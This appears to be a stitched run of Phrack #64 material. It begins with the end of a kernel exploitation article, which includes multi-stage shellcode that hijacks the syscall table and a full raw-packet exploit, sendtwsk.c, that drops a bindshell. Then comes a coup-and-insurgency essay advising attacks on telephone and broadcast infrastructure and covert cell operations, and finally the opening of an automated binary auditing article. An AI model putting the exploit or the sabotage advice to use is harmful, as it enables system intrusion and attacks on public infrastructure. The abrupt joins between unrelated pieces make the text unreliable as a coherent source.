‑ logically we need to save the original address of the syscall somewhere, and we decided to put it just before the 'stage‑2' shellcode :

"\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx

"\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi)

"\x8b\x13" // mov (%ebx),%edx

"\x89\x56\xfc" // mov %edx,0xfffffffc(%esi)

"\x89\x33" // mov %esi,(%ebx)

As you see, we save the address of the rt_sigaction entry [offset 0x2b8] inside syscall table (we will need it at restore time, so that we won't have to calculate it again) and the original address of the function itself (the above counterpart in the restoring phase). We make point the rt_sigaction entry to our shellcode : %esi. Now it should be even clearer why, in the previous section, we had ''magically'' the destination address to copy our stub into in %esi.

The first process issuing a rt_sigaction call will just give life to the stage‑2 shellcode, which is the final step before getting the connect‑back or the bindshell executed. [or whatever shellcode you like more ;) ] We're still in kerneland, while our final goal is to execute an userland shellcode, so we still have to perform a bounch of operations.

There are basically two methods (not the only two, but probably the easier and most effective ones) to achieve our goal :

‑ find saved EIP, temporary disable WP control register flag, copy the userland shellcode overthere and re‑enable WP flag [it could be potentially dangerous on SMP]. If the syscall is called through sysenter, the saved EIP points into vsyscall table, so we must 'scan' the stack 'untill ret' (not much different from what we do in the stack frame recovery step, just easier here), to get the real userspace saved EIP after vsyscall 'return' :

0xffffe410 <__kernel_vsyscall+16>: pop %ebp 0xffffe411 <__kernel_vsyscall+17>: pop %edx 0xffffe412 <__kernel_vsyscall+18>: pop %ecx 0xffffe413 <__kernel_vsyscall+19>: ret

As you can see, the first executed userspace address (writable) is at saved *(ESP + 12).

‑ find saved ESP or use syscall saved parameters pointing to an userspace buffer, copy the shellcode in that memory location and overwrite the saved EIP with saved ESP (or userland buffer address)

The second method is preferable (easier and safer), but if we're dealing with an architecture supporting the NX‑bit or with a software patch that emulates the execute bit (to mark the stack and eventually the heap as non‑executable), we have to fallback to the first, more intrusive, method, or our userland process will just segfault while attempting to execute the shellcode. Since we do have full control of the process‑related kernel data we can also copy the shellcode in a given place and modify page protection. [not different from the idea proposed above for IDT read‑only in the 'Copy the Stub' section]

Once again, let's go on with the dirty details :

‑ the usual call/pop trick to get the address we're executing from

"\xe8\x00\x00\x00\x00" // call 8 <func+0x8>

"\x59" // pop %ecx

‑ patch back the syscall table with the original rt_sigaction address [if those 0xff8 and 0xffc have no meaning for you, just remember that we added 0x1000 to the thread_struct stack address to calculate our 'safe place' and that we stored just before both the syscall table entry address of rt_sigaction and the function address itself]

"\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx

"\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx

"\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax

"\x89\x03" // mov %eax,(%ebx)

‑ locate Userland ESP and overwrite Userland EIP with it [method 2]

"\x8b\x74\x24\x38" // mov 0x38(%esp),%esi

"\x89\x74\x24\x2c" // mov %esi,0x2c(%esp)

"\x31\xc0" // xor %eax,%eax

‑ once again we use a marker (\x22) to locate the shellcode we want to copy on process stack. Let's call it 'stage‑3' shellcode.

We use just another simple trick here to locate the marker and avoid a false positive : instead of jumping after (as we did for the \xaa one) we set the '(marker value) ‑ 1' in %al and then increment it. The copy is exactly the same (with the same 'note') we saw before

"\xb0\x21" // mov $0x21,%al

"\x40" // inc %eax

"\x41" // inc %ecx

"\x38\x01" // cmp %al,(%ecx)

"\x75\xfb" // jne 2a <func+0x2a>

"\x41" // inc %ecx

"\x8a\x19" // mov (%ecx),%bl

"\x88\x1e" // mov %bl,(%esi)

"\x41" // inc %ecx

"\x46" // inc %esi

"\x38\x01" // cmp %al,(%ecx)

"\x75\xf6" // jne 30 <func+0x30>

‑ return from the syscall and let the process cleanly exit to userspace. Control will be transfered to our modified EIP and shellcode will be executed

"\xc3" // ret

We have used a 'fixed' value to locate userland ESP/EIP, which worked well for the 'standard' kernels/apps we tested it on (getting to the syscall via int $0x80). With a little more effort (worth the time) you can avoid those offset assumptions by implementing a code similar to the one for the Stack Frame Recovery tecnique.

Just take a look to how current userland EIP,ESP,CS and SS are saved before jumping at kernel level :

ring0 stack:

+‑‑‑‑‑‑‑‑+

| SS |

| ESP | <‑‑‑ saved ESP

| EFLAG |

| CS |

| EIP | <‑‑‑ saved EIP

|...... |

+‑‑‑‑‑‑‑‑+

All 'unpatched' kernels will have the same value for SS and CS and we can use it as a fingerprint to locate ESP and EIP (that we can test to be below PAGE_OFFSET [*])

[*] As we already said, on latest kernels there could be a different uspace/kspace split address than 0xc0000000 [2G/2G or 1G/3G configurations]

We won't show here the 'stage‑3' shellcode since it is a standard 'userland' bindshell one. Just use the one you need depending on the environment.

‑‑‑[ 3.2.6 ‑ The Code : sendtwsk.c

< stuff/expl/sendtwsk.c >

#include <sys/socket.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

/* from vuln module */

#define MAX_TWSKCHUNK 30

/* end */

#define NOP 0x90

#define OVERFLOW_NEED 20

#define JMP "\xe9\x07\xfe\xff\xff"

#define SIZE_JMP (sizeof(JMP) ‑1)

#define TWSK_PACKET_LEN (((MAX_TWSKCHUNK * sizeof(struct twsk_chunk)) + OVERFLOW_NEED) + SIZE_JMP \

+ sizeof(struct twsk) + sizeof(struct iphdr))

#define TWSK_PROTO 37

#define DEFAULT_VSYSCALL_RET 0xffffe413

#define DEFAULT_VSYSCALL_JMP 0xc01403c0

/*

* find the correct value.. alpha:/usr/src/linux/debug/article/remote/figaro/ip_figaro# ./roll val: 2147483680, 80000020 result: 512

val: 2147483681, 80000021 result: 528

*/

#define NEGATIVE_CHUNK_NUM 0x80000020

char shellcode[]=

/* hook sys_rtsigaction() and copy the 2level shellcode (72) */

"\x90\x90" // nop; nop; [alignment]

"\x89\xe6" // mov %esp,%esi

"\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi

"\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi

"\x0f\x01\x0e" // sidtl (%esi)

"\x8b\x7e\x02" // mov 0x2(%esi),%edi

"\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi

"\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx

"\xc1\xe3\x10" // shl $0x10,%ebx

"\x66\x8b\x1f" // mov (%edi),%bx

"\x43" // inc %ebx

"\x8a\x03" // mov (%ebx),%al

"\x3c\xff" // cmp $0xff,%al

"\x75\xf9" // jne 28 <search>

"\x8a\x43\x01" // mov 0x1(%ebx),%al

"\x3c\x14" // cmp $0x14,%al

"\x75\xf2" // jne 28 <search>

"\x8a\x43\x02" // mov 0x2(%ebx),%al

"\x3c\x85" // cmp $0x85,%al

"\x75\xeb" // jne 28 <search>

"\x8b\x5b\x03" // mov 0x3(%ebx),%ebx [get

sys_call_table]

"\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx [get

sys_rt_sigaction offset]

"\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi) [save

sys_rt_sigaction]

"\x8b\x13" // mov (%ebx),%edx

"\x89\x56\xfc" // mov %edx,0xfffffffc(%esi)

"\x89\x33" // mov %esi,(%ebx) [make

sys_rt_sigaction point to our shellcode]

"\xe8\x00\x00\x00\x00" // call 51 <search+0x29>

"\x59" // pop %ecx

"\x83\xc1\x10" // addl $10, %ecx

"\x41" // inc %ecx

"\x8a\x01" // mov (%ecx),%al

"\x3c\xaa" // cmp $0xaa,%al

"\x75\xf9" // jne 52 <search+0x2a>

"\x41" // inc %ecx

"\x8a\x01" // mov (%ecx),%al

"\x88\x06" // mov %al,(%esi)

"\x46" // inc %esi

"\x41" // inc %ecx

"\x80\x39\xbb" // cmpb $0xbb,(%ecx)

"\x75\xf5" // jne 5a <search+0x32>

/* find and decrement preempt counter (32) */

"\x89\xe0" // mov %esp,%eax

"\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax

"\x83\xc0\x04" // add $0x4,%eax

"\x8b\x18" // mov (%eax),%ebx

"\x83\xfb\xff" // cmp $0xffffffff,%ebx

"\x74\x0a" // je 804851e <end>

"\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx

"\x74\x02" // je 804851e <end>

"\xeb\xec" // jmp 804850a <scan>

"\xff\x48\xfc" // decl 0xfffffffc(%eax)

/* stack frame recovery step */

"\x58" // pop %eax

"\x83\x3c\x24\x02" // cmpl $0x2,(%esp)

"\x75\xf9" // jne 8048330 <do_unroll>

"\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp)

"\x75\xf2" // jne 8048330 <do_unroll>

"\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp)

"\x75\xeb" // jne 8048330 <do_unroll>

"\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp

"\x8b\x04\x24" // mov (%esp),%eax

"\x89\xc3" // mov %eax,%ebx

"\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax

"\x40" // inc %eax

"\x8a\x18" // mov (%eax),%bl

"\x80\xfb\xc3" // cmp $0xc3,%bl

"\x75\xf8" // jne 8048351 <do_unroll+0x21>

"\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax)

"\x74\xf2" // je 8048351 <do_unroll+0x21>

"\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax)

"\x74\xec" // je 8048351 <do_unroll+0x21>

"\x31\xc9" // xor %ecx,%ecx

"\x48" // dec %eax

"\x8a\x18" // mov (%eax),%bl

"\x80\xe3\xf0" // and $0xf0,%bl

"\x80\xfb\x50" // cmp $0x50,%bl

"\x75\x03" // jne 8048375 <do_unroll+0x45>

"\x41" // inc %ecx

"\xeb\xf2" // jmp 8048367 <do_unroll+0x37>

"\x40" // inc %eax

"\x89\xc6" // mov %eax,%esi

"\x31\xc0" // xor %eax,%eax

"\xb0\x04" // mov $0x4,%al

"\xf7\xe1" // mul %ecx

"\x29\xc4" // sub %eax,%esp

"\x31\xc0" // xor %eax,%eax

"\xff\xe6" // jmp *%esi

/* end of stack frame recovery */

/* stage‑2 shellcode */

"\xaa" // border stage‑2 start

"\xe8\x00\x00\x00\x00" // call 8 <func+0x8>

"\x59" // pop %ecx

"\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx

"\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx

"\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax

"\x89\x03" // mov %eax,(%ebx)

"\x8b\x74\x24\x38" // mov 0x38(%esp),%esi

"\x89\x74\x24\x2c" // mov %esi,0x2c(%esp)

"\x31\xc0" // xor %eax,%eax

"\xb0\x21" // mov $0x21,%al

"\x40" // inc %eax

"\x41" // inc %ecx

"\x38\x01" // cmp %al,(%ecx)

"\x75\xfb" // jne 2a <func+0x2a>

"\x41" // inc %ecx

"\x8a\x19" // mov (%ecx),%bl

"\x88\x1e" // mov %bl,(%esi)

"\x41" // inc %ecx

"\x46" // inc %esi

"\x38\x01" // cmp %al,(%ecx)

"\x75\xf6" // jne 30 <func+0x30>

"\xc3" // ret

"\x22" // border stage‑3 start

"\x31\xdb" // xor ebx, ebx

"\xf7\xe3" // mul ebx

"\xb0\x66" // mov al, 102

"\x53" // push ebx

"\x43" // inc ebx

"\x53" // push ebx

"\x43" // inc ebx

"\x53" // push ebx

"\x89\xe1" // mov ecx, esp

"\x4b" // dec ebx

"\xcd\x80" // int 80h

"\x89\xc7" // mov edi, eax

"\x52" // push edx

"\x66\x68\x4e\x20" // push word 8270

"\x43" // inc ebx

"\x66\x53" // push bx

"\x89\xe1" // mov ecx, esp

"\xb0\xef" // mov al, 239

"\xf6\xd0" // not al

"\x50" // push eax

"\x51" // push ecx

"\x57" // push edi

"\x89\xe1" // mov ecx, esp

"\xb0\x66" // mov al, 102

"\xcd\x80" // int 80h

"\xb0\x66" // mov al, 102

"\x43" // inc ebx

"\x43" // inc ebx

"\xcd\x80" // int 80h

"\x50" // push eax

"\x50" // push eax

"\x57" // push edi

"\x89\xe1" // mov ecx, esp

"\x43" // inc ebx

"\xb0\x66" // mov al, 102

"\xcd\x80" // int 80h

"\x89\xd9" // mov ecx, ebx

"\x89\xc3" // mov ebx, eax

"\xb0\x3f" // mov al, 63

"\x49" // dec ecx

"\xcd\x80" // int 80h

"\x41" // inc ecx

"\xe2\xf8" // loop lp

"\x51" // push ecx

"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh

"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh

"\x89\xe3" // mov ebx, esp

"\x51" // push ecx

"\x53" // push ebx

"\x89\xe1" // mov ecx, esp

"\xb0\xf4" // mov al, 244

"\xf6\xd0" // not al

"\xcd\x80" // int 80h

"\x22" // border stage‑3 end

"\xbb"; // border stage‑2 end

/* end of shellcode */

struct twsk_chunk

{

int type;

char buff[12];

};

struct twsk

{

int chunk_num;

struct twsk_chunk chunk[0];

};

void fatal_perror(const char *issue)

{

perror("issue");

exit(1);

}

void fatal(const char *issue)

{

perror("issue");

exit(1);

}

/* packet IP cheksum */

unsigned short csum(unsigned short *buf, int nwords)

{

unsigned long sum;

for(sum=0; nwords>0; nwords‑‑)

sum += *buf++;

sum = (sum >> 16) + (sum &0xffff);

sum += (sum >> 16);

return ~sum;

}

void prepare_packet(char *buffer)

{

unsigned char *ptr = (unsigned char *)buffer;;

unsigned int i;

unsigned int left;

left = TWSK_PACKET_LEN ‑ sizeof(struct twsk) ‑ sizeof(struct iphdr); left ‑= SIZE_JMP;

left ‑= sizeof(shellcode)‑1;

ptr += (sizeof(struct twsk)+sizeof(struct iphdr));

memset(ptr, 0x00, TWSK_PACKET_LEN);

memcpy(ptr, shellcode, sizeof(shellcode)‑1); /* shellcode must be 4

bytes aligned */

ptr += sizeof(shellcode)‑1;

for(i=1; i < left/4; i++, ptr+=4)

*((unsigned int *)ptr) = DEFAULT_VSYSCALL_RET;

*((unsigned int *)ptr) = DEFAULT_VSYSCALL_JMP;

ptr+=4;

printf("buffer=%p, ptr=%p\n", buffer, ptr);

strcpy(ptr, JMP); /* jmp ‑500 */

}

int main(int argc, char *argv[])

{

int sock;

struct sockaddr_in sin;

int one = 1;

const int *val = &one;

printf("shellcode size: %d\n", sizeof(shellcode)‑1);

char *buffer = malloc(TWSK_PACKET_LEN); if(!buffer)

fatal_perror("malloc");

prepare_packet(buffer);

struct iphdr *ip = (struct iphdr *) buffer;

struct twsk *twsk = (struct twsk *) (buffer + sizeof(struct iphdr));

if(argc < 2)

{

printf("Usage: ./sendtwsk ip");

exit(‑1);

}

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (sock < 0)

fatal_perror("socket");

sin.sin_family = AF_INET;

sin.sin_port = htons(12345);

sin.sin_addr.s_addr = inet_addr(argv[1]);

/* ip packet */

ip‑>ihl = 5;

ip‑>version = 4;

ip‑>tos = 16;

ip‑>tot_len = TWSK_PACKET_LEN;

ip‑>id = htons(12345);

ip‑>ttl = 64;

ip‑>protocol = TWSK_PROTO;

ip‑>saddr = inet_addr("192.168.200.1");

ip‑>daddr = inet_addr(argv[1]);

twsk‑>chunk_num = NEGATIVE_CHUNK_NUM;

ip‑>check = csum((unsigned short *) buffer, TWSK_PACKET_LEN);

if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) fatal_perror("setsockopt");

if (sendto(sock, buffer, ip‑>tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)) < 0)

fatal_perror("sendto");

return 0;

}

< / >

‑‑‑‑‑‑[ 4 ‑ Final words

With the remote exploiting discussion ends that paper. We have presented different scenarios and different exploiting tecniques and 'notes' that we hope you'll find somehow useful. This paper was a sort of sum up of the more general approaches we took in those years of 'kernel exploiting'.

As we said at the start of the paper, the kernel is a big and large beast, which offers many different points of 'attack' and which has more severe constraints than the userland exploiting. It is also 'relative new' and improvements (and new logical or not bugs) are getting out.

At the same time new countermeasures come out to make our 'exploiting life' harder and harder.

The first draft of this paper was done some months ago, so we apologies if some of the information here present could be outdated (or already presented somewhere else and not properly referenced). We've tried to add a couple of comments around the text to point out the most important recent changes.

So, this is the end, time remains just for some greets. Thank you for reading so far, we hope you enjoyed the whole work.

A last minute shotout goes to bitsec guys, who performed a cool talk about kernel exploiting at BlackHat conference [24]. Go check their paper/exploits for examples and covering of *BSD and Windows systems.

Greetz and thanks go, in random order, to :

sgrakkyu: darklady(:*), HTB, risk (Arxlab), recidjvo (for netfilter tricks), vecna (for being vecna:)).

twiz: lmbdwr, ga, sd, karl, cmn, christer, koba, smaster, #dnerds & #elfdev people for discussions, corrections, feedbacks and just long 'evening/late night' talks.

A last shotout to akira, sanka, metal_militia and yhly for making the monday evening a _great_ evening [and for all the beers offered :‑) ].

‑‑‑‑‑‑[ 5 ‑ References

[1] ‑ Intel Architecture Reference Manuals http://www.intel.com/products/processor/manuals/index.htm

[2] ‑ SPARC V9 Architecture http://www.sparc.com/standards/SPARCV9.pdf

[3] ‑ AMD64 Reference Manuals http://www.amd.com/it‑it/Processors/

ProductInformation/0,,30_118_4699_875^7044,00.html

[4] ‑ MCAST_MSFILTER iSEC's advisory http://www.isec.pl/vulnerabilities/isec‑0015‑msfilter.txt

[5] ‑ sendmsg local buffer overflow http://www.securityfocus.com/bid/14785

[6] ‑ kad, "Handling Interrupt Descriptor Table for fun and profit" http://www.phrack.org/archives/59/p59‑0x04.txt

[7] ‑ iSEC Security Research

http://www.isec.pl

[8] ‑ Jeff Bonwick, "The Slab Allocator: An Object‑Caching Kernel Memory Allocator" http://www.usenix.org/publications/library/proceedings/

bos94/bonwick.html

[9] ‑ Daniel P. Bovet & Marco Cesati

"Understanding the Linux Kernel", 3rd Edition [ISBN 0‑596‑00565‑2]

[10] ‑ Richard McDougall and Jim Mauro

"Solaris Internals" , 2nd Edition [ISBN 0‑13‑148209‑2]

[11] ‑ Mel Gorman, "Linux VM Documentation" http://www.skynet.ie/~mel/projects/vm/

[12] ‑ sd, krad exploit for sys_epoll vulnerability http://www.securiteam.com/exploits/5VP0N0UF5U.html

[13] ‑ noir, "Smashing The Kernel Stack For Fun And Profit" http://www.phrack.org/archives/60/p60‑0x06.txt

[14] ‑ UltraSPARC User's Manuals http://www.sun.com/processors/documentation.html

[15] ‑ pr1, "Exploiting SPARC Buffer Overflow vulnerabilities" http://www.emsi.it.pl/sploits/solaris/sparcoverflow.html

[16] ‑ horizon, Defeating Solaris/SPARC Non‑Executable Stack Protection http://www.emsi.it.pl/sploits/solaris/horizon.html

[17] ‑ Gavin Maltby's Sun Weblog, "SPARC System Calls" http://blogs.sun.com/gavinm/entry/sparc_system_calls

[18] ‑ PaX project

http://pax.grsecurity.net

[19] ‑ Solar Designer, "Getting around non‑executable stack (and fix)" http://insecure.org/sploits/linux.libc.return.lpr.sploit.html

[20] ‑ Sebastian Krahmer, "x86‑64 buffer overflow exploits and the borrowed code chunks exploitation technique" http://www.suse.de/~krahmer/no‑nx.pdf

[21] ‑ Laurent BUTTI, Jerome RAZNIEWSKI & Julien TINNES "Madwifi SIOCGIWSCAN buffer overflow" http://lists.grok.org.uk/pipermail/full‑disclosure/2006‑December

/051176.html

[22] ‑ sgrakkyu, "madwifi linux remote kernel exploit" http://www.milw0rm.com/exploits/3389

[23] ‑ sd & devik, "Linux on‑the‑fly kernel patching without LKM" http://www.phrack.org/archives/58/p58‑0x07

[24] ‑ Joel Eriksson, Karl Janmar & Christer berg, "Kernel Wars" https://www.blackhat.com/presentations/bh‑eu‑07/Eriksson‑Janmar

/Whitepaper/bh‑eu‑07‑eriksson‑WP.pdf

‑‑‑‑‑‑[ 6 ‑ Sources ‑ drivers and exploits [stuff.tgz]

begin 644 stuff.tgz

M'XL(`!J,'T8``^P\^W/;‑M+Y59KI_X!1&X>2Y8B49‑FQZLRHL=SXXM?XD;87

The revolution will be on YouTube

_

_/B\_ W\_

(* *) Phrack #64 file 7 (* *)

| ‑ |

| | The Revolution will be on YouTube | |

| |

| | By Gladio | |

| |

| | Gladio@phrack.org | |

(___________________________

Forget everything you know about revolutions. It's all wrong.

Fighting a conventional war in an industrialized nation is suicide. Even if you could field a military force capable of defeating the government forces, the wreckage wouldn't be worth having. Think about mortar shells landing in chemical plants. Massive toxic waste spills. Poisonous clouds drifting with the winds. Fighting a war in your own backyard is just plain stupid. Notice how the super‑powers fight each other with proxy wars in other countries.

Sure it might be fun to form a militia and go play army with your friends in Idaho. Got some full‑auto assault rifles? Maybe even mortars, heavy machine guns and some anti‑aircraft guns?

Think they can take out an AC‑130 lobbing artillery shells from 12 miles away? A flight of A‑10s spitting depleted uranium shells the size of your fist at a rate that makes the cannon sound like a redlined dirt bike? A shooting war with a modern government is a shortcut to obliteration.

Most coups are accomplished (or thwarted) by skillful manipulation of information. There have been a number of countries where tyrants (and legitimate leaders) have been overthrown by very small groups using mass communications effectively.

The typical method involves blocking all (or most) information sources controlled by the government, and supplying an alternative that delivers your message. Usually, you just announce the change in government, tell everyone they are safe and impose a curfew for a short time to consolidate your control. Announce that the country, the police and the military are under your control, and keep repeating it. Saturate the airwaves with your message, while preventing any contradictory messages from propagation.

Virtually all broadcast media use the telephone network to deliver content from their studios to their transmitters. Networks use satellites and pstn to distribute content to local stations, which then use pstn to deliver it to the transmitter site.

Hijacking these phone connections accomplishes both goals, of denying the 'official' media access, and putting your own message out.

In cases where you can't hijack the transmitters, dropping the pstn will be effective. Police and military also use pstn to connect dispatch centers with transmitter towers. Recently, many have installed wireless (microwave) fallback systems.

Physically shutting down the pstn just prior to your broadcasts may be very effective. This is most easily accomplished by physical damage to the telco facilities, but there are also non‑physical technical means to do this on a broad scale. Spelling them out here would only result in the holes being closed, but if you have people with the skill set to do this, it is preferable to physical means because you will have the advantage of utilizing these communications resources as your plan progresses.

Leveraging the Internet

Most of the FUD produced about insurgence and the internet is focused on "taking down" the internet. That's probably not the most effective use of technical assets. An insurgency would benefit more from utilizing the net. One use is mass communications. Get your message out to the masses and recruit new members.

Another use is for communications within your group. This is where things get sticky. Most governments have the ability to monitor and intercept their citizen's internet traffic. The governments most deserving of being overthrown are probably also the most effective at electronic surveillance.

The gov will also infiltrate your group, so forums aren't going to be the best means of communicating strategies and tactics. Forums can be useful for broad discussions, such as mission statements, goals and recruiting. Be wary of traffic analysis and sniffing. TOR can be useful, particularly if your server is accessible only on TOR network.

Encryption is your best friend, but can also be your worst enemy. Keep in mind that encryption only buys you time. A good, solid cipher will not likely be read in real time by your opponent, but will eventually be cracked. The important factor here is that it not be cracked until it's too late to be useful.

A one time pad (OTP) is the best way to go. Generate random data and write it to 2, and only 2, DVDs. Physically transport the DVDs to each communications endpoint. Never let them out of your direct control. Do not mail them. Do not send keys over ssh or ssl. Physically hand the DVD to your counterpart on the other end. Never re‑use a portion of the key.

Below is a good way to utilize your OTP:

Generate a good OTP (K), come up with a suspicious alternate message (M), and knowing your secret text (P), you calculate (where "+" = mod 26 addition):

K' = M + K

K'' = P + K

C = K' + P

Lock up K'' in a safety deposit box, and hide k' in some other off site, secure location. Keep C around with big "beware of Crypto systems" signs. When the rubber hose is broken out, take at least 2 good lickings, and then give up the key to the safety deposit box. They get K'', and calculate

K'' + C = M

thus giving them the bogus message, and protecting your real text.

Operational Security

The classic "cellular" configuration is the most secure against infiltration and compromise. A typical cell should have no more than 5‑10 members. One leader, 2 members who each know how to contact one member of an 'upstream' cell, and 2 members who each know how to contact one member of a downstream cell. Nobody, including the leader, should know how to contact more than one person outside of their own cell.

Never use your real name, and never use your organizational alias in any other context.

Electronic communications between members should be kept to a minimum. When it is necessary, it should only be conducted via the OTP cipher. Preferably, these communications should consist of not much more than arranging a physical meeting. Meet at a pre‑arranged place, and then go to another, un‑announced place where surveillance is difficult, to discuss operational matters.

Do not carry a phone. Even a phone which is switched off can be tracked, and most can be used to eavesdrop on discussions even when powered down. Removing the battery is only marginally safer, because tracking/listening gear can be built into the battery pack. If you find yourself stuck with a phone during a meeting, remove the battery and place both the phone and battery in a metal box and remove it from the immediate area of conversation.

It never hurts to generate some bogus traffic. Gibberish, random data, innocuous stories etc., all serve to generate noise in which to better hide your real communications.

Steganography can be useful when combined with solid crypto. Encrypt and stego small messages into something like a full length movie avi, and distribute it to many people via a torrent. Only your intended recipient will have the key to decrypt the stegged message. Be sure to stego some purely random noise into other movies, and torrent them as well.

Hopefully you'll find this document useful as a starting point for further discussion and refinement. It's not meant to be definitive, and is surely not comprehensive. Feel free to copy, add, edit or change as

Automated vulnerability auditing in machine code

Automated vulnerability auditing in machine code

Tyler Durden <tyler@phrack.org>

Phrack Magazine #64

Version of May 22 2007

I. Introduction

a/ On the need of auditing automatically b/ What are exploitation frameworks c/ Why this is not an exploitation framework d/ Why this is not fuzzing

e/ Machine code auditing : really harder than sources ?

II. Preparation

a/ A first intuition

b/ Static analysis vs dynamic analysis c/ Dependences & predicates

‑ Controlflow analysis

‑ Dataflow analysis

d/ Translation to intermediate forms

e/ Induction variables (variables in loops)

III. Analysis

a/ What is a vulnerability ?

b/ Buffer overflows and numerical intervals ‑ Flow‑insensitive

‑ Flow‑sensitive

‑ Accelerating the analysis by widening

c/ Type‑state checking

‑ Memory leaks

‑ Heap corruptions

d/ More problems

‑ Predicate analysis

‑ Alias analysis and naive solutions

‑ Hints on detecting race conditions

IV. Chevarista: an analyzer of binary programs a/ Project modelization

b/ Program transformation

c/ Vulnerability checking

d/ Vulnerable paths extraction

e/ Future work : Refinement

V. Related Work

a/ Model Checking

b/ Abstract Interpretation

VI. Conclusion

VII. Greetings

VIII. References

IX. The code

.::####################################

Software have bugs. That is quite a known fact.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ I. Introduction

In this article, we will discuss the design of an engine for automated vulnerability analysis of binary programs. The source code of the Chevarista static analyzer is given at the end of this document.

The purpose of this paper is not to disclose 0day vulnerability, but to understand how it is possible to find them without (or with restricted) human intervention. However, we will not friendly provide the result of our automated auditing on predefined binaries : instead we will always take generic examples of the most common difficulties encountered when auditing such programs. Our goal is to enlight the underground community about writing your own static analyzer and not to be profitful for security companies or any profit oriented organization.

Instead of going straight to the results of the proposed implementation, we may introduce the domain of program analysis, without going deeply in the theory (which can go very formal), but taking the perspective of a hacker who is tired of focusing on a specific exploit problem and want to investigate until which automatic extend it is possible to find vulnerabilities and generate an exploit code for it without human intervention.

Chevarista hasnt reached its goal of being this completely automated tool, however it shows the path to implement incrementally such tool with a genericity that makes it capable of finding any definable kind of vulnerability.

Detecting all the vulnerabilities of a given program can be untractable, and this for many reasons. The first reason is that we cannot predict that a program running forever will ever have a bug or not. The second reason is that if this program ever stop, the number of states (as in "memory contexts") it reached and passed through before stopping is very big, and testing all of of possible concrete program paths would either take your whole life, or a dedicated big cluster of machine working on this for you during ages.

As we need more automated systems to find bugs for us, and we do not have such computational power, we need to be clever on what has to be analysed, how generic can we reason about programs, so a single small analyzer can reason about a lot of different kinds of bugs. After all, if the effort is not worth the genericity, its probably better to audit code manually which would be more productive. However, automated systems are not limited to vulnerability findings, but because of their tight relation with the analyzed program, they can find the exact conditions in which that bug happens, and what is the context to reach for triggering it.

But someone could interject me : "But is not Fuzzing supposed to do that already ?". My answer would be : Yes. But static analysis is the intelligence inside Fuzzing. Fuzzy testing programs give very good results but any good fuzzer need to be designed with major static analysis orientations. This article also applies somewhat to fuzzing but the proposed implementation of the Chevarista analyzer is not a fuzzer. The first reason is that Chevarista does not execute the program for analyzing it. Instead, it acts like a (de)compiler but perform analysis instead of translating (back) to assembly (or source) code. It is thus much more performant than fuzzing but require a lot of development and litterature review for managing to have a complete automatic tool that every hacker dream to maintain.

Another lost guy will support : "Your stuff looks more or less like an exploitation framework, its not so new". Exploitation frameworks are indeed not very new stuffs. None of them analyze for vulnerabilities, and actually only works if the builtin exploits are good enough. When the framework aims at letting you trigger exploits manually, then it is not an automated framework anymore. This is why Chevarista is not CORE‑Impact or Metasploit : its an analyzer that find bugs in programs and tell you where they are.

One more fat guy in the end of the room will be threatening: "It is simply not possible to find vulnerabilities in code without the source .." and then a lot of people will stand up and declare this as a prophety, because its already sufficiently hard to do it on source code anyway. I would simply measure this judgement by several remarks: for some peoples, assembly code ‑is‑ source code, thus having the assembly is like having the source, without a certain number of information. That is this amount of lost information that we need to recover when writing a decompiler.

First, we do not have the name of variables, but naming variables in a different way does not affect the result of a vulnerability analysis. Second, we do not have the types, but data types in compiled C programs do not really enforce properties about the variables values (because of C casts or a compiler lacking strong type checking). The only real information that is enforced is about variable size in memory, which is recoverable from an assembly program most of the time. This is not as true for C++ programs (or other programs written in higher level objects‑oriented or functional languages), but in this article we will mostly focuss on compiled C programs.

A widely spread opinion about program analysis is that its harder to acheive on a low‑level (imperative) language rather than a high‑level (imperative) language. This is true and false, we need to bring more precision about this statement. Specifically, we want to compare the analysis of C code and the analysis of assembly code:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Available information | C code | Assembly code |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Original variables names| Yes (explicit) | No |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Original types names | Yes (explicit) | No |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Control Sequentiality | Yes (explicit) | Yes (explicit) |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

